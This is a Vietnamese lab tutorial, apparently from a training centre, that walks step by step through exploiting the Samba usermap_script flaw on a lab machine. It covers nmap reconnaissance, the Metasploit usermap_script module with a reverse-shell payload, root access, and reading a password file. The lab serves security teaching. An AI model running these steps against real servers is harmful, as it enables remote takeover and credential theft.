(+84) 236.3827111 ex. 402

Thực hành tấn công khai thác lỗ hổng lỗ hổng usermap_script của Samba


Cho sơ đồ mạng như sau:

Thực hành tấn công khai thác lỗ hổng lỗ hổng usermap_script của Samba.

1. Kiểm tra port 445 trên máy mục tiêu

Lệnh:

nmap -p 445

Giải thích:

  • nmap: Công cụ quét mạng, dùng để kiểm tra cổng (port), dịch vụ và hệ điều hành

  • -p 445: Chỉ định quét port 445

  • : Địa chỉ IP của máy mục tiêu

Mục đích:

  • Kiểm tra xem port 445 có đang mở hay không

  • Port 445 thường dùng cho:

    • SMB (Server Message Block)

    • Samba trên Linux

    • Chia sẻ file/máy in trong mạng

ý nghĩa thực tế:

  • Nếu port 445 OPEN => máy có khả năng chạy dịch vụ Samba => có thể khai thác

  • Nếu port 445 CLOSED => không thể thực hiện các bước tiếp theo của LAB

2. Kiểm tra dịch vụ Samba và hệ điều hành

Lệnh:

nmap -p 445 --script smb-os-discovery

Giải thích:

  • --script smb-os-discovery:
    Chạy script NSE của Nmap để:

    • Phát hiện hệ điều hành

    • Phiên bản Samba

    • Tên máy, domain (nếu có)

Mục đích:

  • Thu thập thông tin trinh sát

  • Xác định:

    • Máy có dùng Samba không

    • Phiên bản Samba có lỗ hổng đã biết hay không

ý nghĩa an ninh mạng:

  • Đây là bước trinh sát trước tấn công

  • Giúp lựa chọn exploit phù hợp, tránh tấn công sai mục tiêu

3. Khởi động Metasploit Framework

Lệnh:

msfconsole -q

Giải thích:

  • msfconsole: Giao diện dòng lệnh của Metasploit

  • -q (quiet): Khởi động không hiển thị banner, chạy nhanh hơn

Mục đích:

  • Truy cập vào môi trường khai thác lỗ hổng

  • Chuẩn bị sử dụng các exploit, payload

4. Tìm kiếm exploit liên quan đến Samba usermap

Lệnh:

search samba usermap

Giải thích:

  • search: Tìm kiếm module trong Metasploit

  • samba usermap: Từ khóa liên quan đến lỗ hổng usermap_script

Mục đích:

  • Xác định exploit phù hợp với dịch vụ Samba đang chạy

  • Tránh sử dụng exploit không tương thích


5. Chọn exploit khai thác Samba usermap_script

Lệnh:

use exploit/multi/samba/usermap_script

Giải thích:

  • use: Chọn module để sử dụng

  • exploit/multi/samba/usermap_script:
    Exploit khai thác lỗ hổng usermap_script của Samba

  • Đây là lỗ hổng nghiêm trọng, cho phép:

    • Thực thi lệnh từ xa

    • Có thể chiếm quyền root

6. Cấu hình địa chỉ máy mục tiêu

Lệnh:

set RHOSTS 192.168.68.130

Giải thích:

  • RHOSTS: Remote Hosts

  • Địa chỉ IP của máy bị tấn công (máy Metasploit trong LAB)

Lưu ý:

Đây là IP máy mục tiêu, không phải máy Kali

7. Cấu hình cổng dịch vụ Samba

Lệnh:

set RPORT 445

Giải thích:

  • RPORT: Remote Port

  • Port 445 là cổng Samba/SMB


8. Chọn payload (mã thực thi sau khi khai thác)

Lệnh:

set PAYLOAD cmd/unix/reverse

Giải thích:

  • cmd/unix/reverse:
    Payload dạng reverse shell

  • Khi khai thác thành công:

    • Máy mục tiêu sẽ kết nối ngược lại máy Kali

    • Người tấn công có quyền thực thi lệnh từ xa

ý nghĩa:

  • Thường dùng trong thực tế vì:

    • Dễ vượt firewall

    • Chủ động kết nối về máy tấn công

9. Cấu hình địa chỉ máy Kali (máy tấn công)

Lệnh:

set LHOST 192.168.68.129

Giải thích:

  • LHOST: Local Host

  • IP của máy Kali, nơi nhận reverse shell

10. Kiểm tra lại toàn bộ cấu hình

Lệnh:

show options

Giải thích:

  • Hiển thị:

    • RHOSTS

    • RPORT

    • LHOST

    • PAYLOAD

  • Giúp phát hiện:

    • Nhập sai IP

    • Thiếu cấu hình quan trọng

11. Thực thi khai thác

Lệnh:

run

Giải thích:

  • Bắt đầu tấn công khai thác lỗ hổng

  • Nếu thành công:

    • Nhận được shell

    • Có thể chiếm quyền root

12. Kiểm tra quyền truy cập sau khi khai thác

Lệnh:

ls

=> Liệt kê các file có trong thư mục hiện tại

id

=> Hiển thị UID, GID, nhóm => xác nhận quyền root

cat /home/msfadmin/password.txt

=> Xem: Hiển thị nội dung file password.txt trong thư mục /home/msfadmin.

Tổng kết ý nghĩa LAB

  • LAB mô phỏng tấn công khai thác Samba

  • Minh họa rõ:

    • Trinh sát => khai thác => kiểm soát hệ thống

  • Giúp học viên:

    • Hiểu tư duy tấn công

    • Từ đó biết cách phòng thủ và ứng cứu sự cố